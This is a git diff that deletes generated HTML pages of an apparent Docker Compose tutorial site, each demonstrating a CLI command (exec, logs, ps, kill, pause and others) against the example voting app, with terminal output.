-{"action":"exec_start: /bin/sh -c /healthchecks/postgres.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:14.941143834+05:30","type":"container"}
-{"action":"exec_die","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"8f907207527e01ca85a0d73227b35a6da73ed8402de4336e1acb312c46e9473e","exitCode":"0","image":"redis:alpine","name":"example-voting-app-redis-1"},"id":"c0d6be412752520417ac2b5800fb4501e9c2553f900e078da9fd2a2fde56d406","service":"redis","time":"2023-03-04T20:30:15.009103251+05:30","type":"container"}
-{"action":"exec_die","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/healthchecks","desktop.docker.io/binds/0/SourceKind":"hostFile","desktop.docker.io/binds/0/Target":"/healthchecks","execID":"006d0a097e9819360bf647cc7f2f5c75723588a546b14359267b4b3a0b169310","exitCode":"0","image":"postgres:15-alpine","name":"example-voting-app-db-1"},"id":"0ea61e77a190102e4facd7759235fd8c92870b1f594eaaf109a7e55888693dc6","service":"db","time":"2023-03-04T20:30:15.026884834+05:30","type":"container"}
-{"action":"exec_create: /bin/sh -c /healthchecks/redis.sh","attributes":{"desktop.docker.io/binds/0/Source":"/Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docke
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-exec-command/index.html b/public/docker/docker-compose-cli-exec-command/index.html deleted file mode 100644 index b2e539b..0000000 --- a/public/docker/docker-compose-cli-exec-command/index.html +++ /dev/null @@ -1,1027 +0,0 @@ - - - - - - - - -Docker Compose CLI - Exec Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Exec Command

-
-
- - -

Docker Compose Exec into result service

-

-docker compose exec result sh 
-# ls
-Dockerfile  docker-compose.test.yml  package-lock.json  package.json  server.js  tests  views
-# cat docker-compose.test.yml
-version: '2'
-
-services:
-
-  sut:
-    build: ./tests/
-    depends_on:
-      - vote
-      - result
-      - worker
-    networks:
-      - front-tier
-
-  vote:
-    build: ../vote/
-    ports: ["80"]
-    depends_on:
-      - redis
-      - db
-    networks:
-      - front-tier
-      - back-tier
-
-  result:
-    build: .
-    ports: ["80"]
-    depends_on:
-      - redis
-      - db
-    networks:
-      - front-tier
-      - back-tier
-
-  worker:
-    build: ../worker/
-    depends_on:
-      - redis
-      - db
-    networks:
-      - back-tier
-
-  redis:
-    image: redis:alpine
-    networks:
-      - back-tier
-
-  db:
-    image: postgres:9.4
-    environment:
-      POSTGRES_USER: "postgres"
-      POSTGRES_PASSWORD: "postgres"
-    volumes:
-      - "db-data:/var/lib/postgresql/data"
-    networks:
-      - back-tier
-
-volumes:
-  db-data:
-
-networks:
-  front-tier:
-  back-tier:
-# exit
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-images-command/index.html b/public/docker/docker-compose-cli-images-command/index.html deleted file mode 100644 index 03925d3..0000000 --- a/public/docker/docker-compose-cli-images-command/index.html +++ /dev/null @@ -1,964 +0,0 @@ - - - - - - - - -Docker Compose CLI - Images Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Images Command

-
-
- - -
example-voting-app git:(main) docker compose images 
-CONTAINER                     REPOSITORY                  TAG                 IMAGE ID            SIZE
-example-voting-app-db-1       postgres                    15-alpine           68d4a8d9d3d9        241MB
-example-voting-app-redis-1    redis                       alpine              1339d05b97a4        30.4MB
-example-voting-app-result-1   example-voting-app-result   latest              223b94fc00ae        254MB
-example-voting-app-vote-1     example-voting-app-vote     latest              5c1cf62b540c        135MB
-example-voting-app-worker-1   example-voting-app-worker   latest              8f82fda1dae8        195MB
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-kill-command/index.html b/public/docker/docker-compose-cli-kill-command/index.html deleted file mode 100644 index cefe5d2..0000000 --- a/public/docker/docker-compose-cli-kill-command/index.html +++ /dev/null @@ -1,980 +0,0 @@ - - - - - - - - -Docker Compose CLI - Kill Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Kill Command

-
-
- - -

Forces running containers to stop by sending a SIGKILL signal. Optionally the signal can be passed :

-
 example-voting-app git:(main) docker-compose kill -s SIGINT
-[+] Running 4/0
- ⠿ Container example-voting-app-redis-1   Killed                                                                                                                                     0.0s
- ⠿ Container example-voting-app-worker-1  Killed                                                                                                                                     0.0s
- ⠿ Container example-voting-app-db-1      Killed                                                                                                                                     0.0s
- ⠿ Container example-voting-app-result-1  Killed                                                                                                                                     0.0s
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-logs-command/index.html b/public/docker/docker-compose-cli-logs-command/index.html deleted file mode 100644 index b4a259f..0000000 --- a/public/docker/docker-compose-cli-logs-command/index.html +++ /dev/null @@ -1,1097 +0,0 @@ - - - - - - - - -Docker Compose CLI - logs Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - logs Command

-
-
- - -

View output from containers

-

-➜  example-voting-app git:(main) docker-compose logs          
-example-voting-app-worker-1  | Connected to db
-example-voting-app-result-1  | [nodemon] 2.0.21
-example-voting-app-worker-1  | Found redis at 172.20.0.2
-example-voting-app-worker-1  | Connecting to redis
-example-voting-app-result-1  | [nodemon] to restart at any time, enter `rs`
-example-voting-app-result-1  | [nodemon] watching path(s): *.*
-example-voting-app-result-1  | [nodemon] watching extensions: js,mjs,json
-example-voting-app-result-1  | [nodemon] starting `node server.js`
-example-voting-app-result-1  | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated bodyParser: use individual json/urlencoded middlewares at server.js:73:9
-example-voting-app-result-1  | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated undefined extended: provide extended option at ../node_modules/body-parser/index.js:104:29
-example-voting-app-result-1  | App running on port 80
-example-voting-app-result-1  | Connected to db
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.311 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.313 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started
-example-voting-app-redis-1   | 1:C 04 Mar 2023 14:41:27.313 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.313 * monotonic clock: POSIX clock_gettime
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.314 * Running mode=standalone, port=6379.
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.315 # Server initialized
-example-voting-app-redis-1   | 1:M 04 Mar 2023 14:41:27.318 * Ready to accept connections
-example-voting-app-redis-1   | 1:signal-handler (1677952603) Received SIGINT scheduling shutdown...
-example-voting-app-redis-1   | 1:M 04 Mar 2023 17:56:43.159 # User requested shutdown...
-example-voting-app-redis-1   | 1:M 04 Mar 2023 17:56:43.159 * Saving the final RDB snapshot before exiting.
-example-voting-app-redis-1   | 1:M 04 Mar 2023 17:56:43.161 * DB saved on disk
-example-voting-app-redis-1   | 1:M 04 Mar 2023 17:56:43.161 # Redis is now ready to exit, bye bye...
-example-voting-app-redis-1   | 1:C 04 Mar 2023 18:00:10.915 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
-example-voting-app-redis-1   | 1:C 04 Mar 2023 18:00:10.915 # Redis version=7.0.9, bits=64, commit=00000000, modified=0, pid=1, just started
-example-voting-app-redis-1   | 1:C 04 Mar 2023 18:00:10.915 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.915 * monotonic clock: POSIX clock_gettime
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.916 * Running mode=standalone, port=6379.
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.916 # Server initialized
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * Loading RDB produced by version 7.0.9
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * RDB age 207 seconds
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * RDB memory usage when created 1.09 Mb
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * Done loading RDB, keys loaded: 0, keys expired: 0.
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * DB loaded from disk: 0.000 seconds
-example-voting-app-redis-1   | 1:M 04 Mar 2023 18:00:10.918 * Ready to accept connections
-example-voting-app-db-1      | The files belonging to this database system will be owned by user "postgres".
-example-voting-app-db-1      | This user must also own the server process.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | The database cluster will be initialized with locale "en_US.utf8".
-example-voting-app-db-1      | The default database encoding has accordingly been set to "UTF8".
-example-voting-app-db-1      | The default text search configuration will be set to "english".
-example-voting-app-db-1      | 
-example-voting-app-db-1      | Data page checksums are disabled.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | fixing permissions on existing directory /var/lib/postgresql/data ... ok
-example-voting-app-db-1      | creating subdirectories ... ok
-example-voting-app-db-1      | selecting dynamic shared memory implementation ... posix
-example-voting-app-db-1      | selecting default max_connections ... 100
-example-voting-app-db-1      | selecting default shared_buffers ... 128MB
-example-voting-app-db-1      | selecting default time zone ... UTC
-example-voting-app-db-1      | creating configuration files ... ok
-example-voting-app-db-1      | running bootstrap script ... ok
-example-voting-app-db-1      | sh: locale: not found
-example-voting-app-db-1      | 2023-03-04 14:41:27.703 UTC [30] WARNING:  no usable system locales were found
-example-voting-app-db-1      | performing post-bootstrap initialization ... ok
-example-voting-app-db-1      | syncing data to disk ... ok
-example-voting-app-db-1      | 
-example-voting-app-db-1      | 
-example-voting-app-db-1      | Success. You can now start the database server using:
-example-voting-app-db-1      | 
-example-voting-app-db-1      |     pg_ctl -D /var/lib/postgresql/data -l logfile start
-example-voting-app-db-1      | 
-example-voting-app-db-1      | initdb: warning: enabling "trust" authentication for local connections
-example-voting-app-db-1      | initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb.
-example-voting-app-db-1      | waiting for server to start....2023-03-04 14:41:28.118 UTC [36] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-example-voting-app-db-1      | 2023-03-04 14:41:28.120 UTC [36] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-example-voting-app-db-1      | 2023-03-04 14:41:28.124 UTC [39] LOG:  database system was shut down at 2023-03-04 14:41:28 UTC
-example-voting-app-db-1      | 2023-03-04 14:41:28.127 UTC [36] LOG:  database system is ready to accept connections
-example-voting-app-db-1      |  done
-example-voting-app-db-1      | server started
-example-voting-app-db-1      | 
-example-voting-app-db-1      | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*
-example-voting-app-db-1      | 
-example-voting-app-db-1      | waiting for server to shut down....2023-03-04 14:41:28.218 UTC [36] LOG:  received fast shutdown request
-example-voting-app-db-1      | 2023-03-04 14:41:28.220 UTC [36] LOG:  aborting any active transactions
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [36] LOG:  background worker "logical replication launcher" (PID 42) exited with exit code 1
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [37] LOG:  shutting down
-example-voting-app-db-1      | 2023-03-04 14:41:28.222 UTC [37] LOG:  checkpoint starting: shutdown immediate
-example-voting-app-db-1      | 2023-03-04 14:41:28.227 UTC [37] LOG:  checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.002 s, sync=0.001 s, total=0.005 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB
-example-voting-app-db-1      | 2023-03-04 14:41:28.233 UTC [36] LOG:  database system is shut down
-example-voting-app-db-1      |  done
-example-voting-app-db-1      | server stopped
-example-voting-app-db-1      | 
-example-voting-app-db-1      | PostgreSQL init process complete; ready for start up.
-example-voting-app-db-1      | 
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
-example-voting-app-db-1      | 2023-03-04 14:41:28.342 UTC [1] LOG:  listening on IPv6 address "::", port 5432
-example-voting-app-db-1      | 2023-03-04 14:41:28.344 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-example-voting-app-db-1      | 2023-03-04 14:41:28.347 UTC [50] LOG:  database system was shut down at 2023-03-04 14:41:28 UTC
-example-voting-app-db-1      | 2023-03-04 14:41:28.351 UTC [1] LOG:  database system is ready to accept connections
-example-voting-app-db-1      | 2023-03-04 14:46:28.434 UTC [48] LOG:  checkpoint starting: time
-example-voting-app-db-1      | 2023-03-04 14:46:36.189 UTC [48] LOG:  checkpoint complete: wrote 79 buffers (0.5%); 0 WAL file(s) added, 0 removed, 0 recycled; write=7.707 s, sync=0.027 s, total=7.755 s; sync files=41, longest=0.012 s, average=0.001 s; distance=397 kB, estimate=397 kB
-example-voting-app-db-1      | 2023-03-04 17:56:43.105 UTC [1] LOG:  received fast shutdown request
-example-voting-app-db-1      | 2023-03-04 17:56:43.107 UTC [1] LOG:  aborting any active transactions
-example-voting-app-db-1      | 2023-03-04 17:56:43.111 UTC [67] FATAL:  terminating connection due to administrator command
-example-voting-app-db-1      | 2023-03-04 17:56:43.117 UTC [66] FATAL:  terminating connection due to administrator command
-example-voting-app-db-1      | 2023-03-04 17:56:43.122 UTC [1] LOG:  background worker "logical replication launcher" (PID 53) exited with exit code 1
-example-voting-app-db-1      | 2023-03-04 17:56:43.126 UTC [48] LOG:  shutting down
-example-voting-app-db-1      | 2023-03-04 17:56:43.128 UTC [48] LOG:  checkpoint starting: shutdown immediate
-example-voting-app-db-1      | 2023-03-04 17:56:43.138 UTC [48] LOG:  checkpoint complete: wrote 0 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.003 s, sync=0.001 s, total=0.012 s; sync files=0, longest=0.000 s, average=0.000 s; distance=0 kB, estimate=357 kB
-example-voting-app-db-1      | 2023-03-04 17:56:43.185 UTC [1] LOG:  database system is shut down
-example-voting-app-db-1      | 
-example-voting-app-db-1      | PostgreSQL Database directory appears to contain a database; Skipping initialization
-example-voting-app-db-1      | 
-example-voting-app-db-1      | 2023-03-04 18:00:10.972 UTC [1] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-example-voting-app-db-1      | 2023-03-04 18:00:10.972 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
-example-voting-app-db-1      | 2023-03-04 18:00:10.972 UTC [1] LOG:  listening on IPv6 address "::", port 5432
-example-voting-app-db-1      | 2023-03-04 18:00:10.973 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-example-voting-app-db-1      | 2023-03-04 18:00:10.977 UTC [24] LOG:  database system was shut down at 2023-03-04 17:56:43 UTC
-example-voting-app-db-1      | 2023-03-04 18:00:10.982 UTC [1] LOG:  database system is ready to accept connections
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-ls-command/index.html b/public/docker/docker-compose-cli-ls-command/index.html deleted file mode 100644 index f62777c..0000000 --- a/public/docker/docker-compose-cli-ls-command/index.html +++ /dev/null @@ -1,994 +0,0 @@ - - - - - - - - -Docker Compose CLI - ls Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - ls Command

-
-
- - -

List running compose projects

-
docker-compose ls  
-NAME                 STATUS              CONFIG FILES
-example-voting-app   running(4)          /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/docker-compose.yml
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-pause-unpause-command/index.html b/public/docker/docker-compose-cli-pause-unpause-command/index.html deleted file mode 100644 index 65cc8ed..0000000 --- a/public/docker/docker-compose-cli-pause-unpause-command/index.html +++ /dev/null @@ -1,1012 +0,0 @@ - - - - - - - - -Docker Compose CLI - Pause unpause Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Pause unpause Command

-
-
- - -
 example-voting-app git:(main) docker compose pause
-[+] Running 4/0
- ⠿ Container example-voting-app-db-1      Paused                                                                                                                                     0.0s
- ⠿ Container example-voting-app-redis-1   Paused                                                                                                                                     0.0s
- ⠿ Container example-voting-app-worker-1  Paused                                                                                                                                     0.0s
- ⠿ Container example-voting-app-result-1  Paused                                                                                                                                     0.0s
-➜  example-voting-app git:(main) 
-

Pauses running containers of a service. They can be unpaused with docker compose unpause.

-
docker compose unpause
-[+] Running 4/0
- ⠿ Container example-voting-app-worker-1  Unpaused                                                                                                                                   0.0s
- ⠿ Container example-voting-app-redis-1   Unpaused                                                                                                                                   0.0s
- ⠿ Container example-voting-app-result-1  Unpaused                                                                                                                                   0.0s
- ⠿ Container example-voting-app-db-1      Unpaused                                                                                                                                   0.0s
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-port-command/index.html b/public/docker/docker-compose-cli-port-command/index.html deleted file mode 100644 index 311a5c4..0000000 --- a/public/docker/docker-compose-cli-port-command/index.html +++ /dev/null @@ -1,1009 +0,0 @@ - - - - - - - - -Docker Compose CLI - Port Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - Port Command

-
-
- - - -
docker compose port result 80
-0.0.0.0:5001
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-ps-command/index.html b/public/docker/docker-compose-cli-ps-command/index.html deleted file mode 100644 index 9582ba9..0000000 --- a/public/docker/docker-compose-cli-ps-command/index.html +++ /dev/null @@ -1,1021 +0,0 @@ - - - - - - - - -Docker Compose CLI - ps Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - ps Command

-
-
- - -

List containers

-
 docker compose ps 
-NAME                          IMAGE                       COMMAND                  SERVICE             CREATED             STATUS                       PORTS
-example-voting-app-db-1       postgres:15-alpine          "docker-entrypoint.s…"   db                  4 hours ago         Up About an hour (healthy)   5432/tcp
-example-voting-app-redis-1    redis:alpine                "docker-entrypoint.s…"   redis               4 hours ago         Up About an hour (healthy)   6379/tcp
-example-voting-app-result-1   example-voting-app-result   "nodemon server.js"      result              About an hour ago   Up About an hour             0.0.0.0:5858->5858/tcp, 0.0.0.0:5001->80/tcp
-example-voting-app-worker-1   example-voting-app-worker   "dotnet Worker.dll"      worker              About an hour ago   Up About an hour             
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-pull-command/index.html b/public/docker/docker-compose-cli-pull-command/index.html deleted file mode 100644 index 9a90e64..0000000 --- a/public/docker/docker-compose-cli-pull-command/index.html +++ /dev/null @@ -1,1029 +0,0 @@ - - - - - - - - -Docker Compose CLI - pull Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - pull Command

-
-
- - -

Pull service images

-
 example-voting-app git:(main) docker compose pull 
-[+] Running 5/5
- ⠿ vote Skipped - No image to be pulled                                                                                                                                              0.0s
- ⠿ result Skipped - No image to be pulled                                                                                                                                            0.0s
- ⠿ worker Skipped - No image to be pulled                                                                                                                                            0.0s
- ⠿ redis Pulled                                                                                                                                                                      2.8s
- ⠿ db Pulled                                                                                                                                                                         2.8s
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-push-command/index.html b/public/docker/docker-compose-cli-push-command/index.html deleted file mode 100644 index 4781a5d..0000000 --- a/public/docker/docker-compose-cli-push-command/index.html +++ /dev/null @@ -1,1039 +0,0 @@ - - - - - - - - -Docker Compose CLI - push Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - push Command

-
-
- - -

Push service images

-

-services:
-  service1:
-    build: .
-    image: localhost:5000/yourimage  ## goes to local registry
-
-  service2:
-    build: .
-    image: your-dockerid/yourimage  ## goes to your repository on Docker Hub
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
